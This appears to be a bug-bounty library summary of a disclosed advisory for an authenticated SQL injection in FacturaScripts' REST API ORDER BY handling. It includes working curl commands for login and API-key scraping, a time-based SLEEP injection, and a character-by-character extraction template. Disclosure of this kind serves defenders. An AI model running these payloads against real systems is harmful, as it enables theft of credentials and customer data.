# FacturaScripts has SQL Injection in API ORDER BY Clause

Authenticated API users inject SQL via the sort parameter's parenthesized key in FacturaScripts, enabling time-based blind extraction of the full database.

- Payout: Research
- Severity: high
- Program: FacturaScripts
- Found by: lukasz-rybak
- Disclosed: 2026-02-03
- CVE: CVE-2026-25513
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cjfx-qhwm-hf99
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cjfx-qhwm-hf99
- Tags: area:web domain:api domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** REST API sort parameter / ModelClass::getOrderBy and DbQuery::orderBy
**Root cause:** Sort keys and directions are concatenated directly into the ORDER BY clause; DbQuery::orderBy treats any field containing parentheses as trusted and skips escaping, so a crafted sort key becomes arbitrary SQL.
**Steps:**
1. Log in to the web UI, grab multireqtoken, POST credentials to /login to get a session.
2. Read /EditSettings?activetab=ListApiKey to find an API key ID, then /EditApiKey?code=<id> to extract the apikey value.
3. Baseline: `curl -g -H "X-Auth-Token: $API_KEY" "http://host/api/3/users?limit=1"`.
4. Inject: `curl -g -H "X-Auth-Token: $API_KEY" "http://host/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"` and observe the delay.
5. Extract data char-by-char with `sort[(SELECT IF(BINARY SUBSTRING((<query>),<i>,1)='<char>',SLEEP(2),nick))]=ASC`.
**How found:** Code review of ModelClass::getOrderBy and DbQuery::orderBy revealed the parenthesized-field bypass that skips escaping, then a time-based SLEEP payload confirmed it.
**Exploitation:** With a valid API token, the attacker sends sort keys containing parenthesized subqueries; the server executes them in ORDER BY, and SLEEP-based timing confirms and exfiltrates data such as the admin password hash from the users table.
**Escalation:** Blind extraction escalates from a single sort parameter to full database disclosure including credentials, API keys, customer PII and financial records.
**Insight:** When a query builder special-cases fields containing parentheses to allow SQL functions, that branch is a reliable injection sink — test sort/order parameters with a parenthesized subquery rather than plain identifiers.

## Proof of concept (copied exactly from the original report)

**Time-based SQLi curl request with SLEEP payload**

```
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
```

**Login and API key retrieval curl commands**

```
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
```

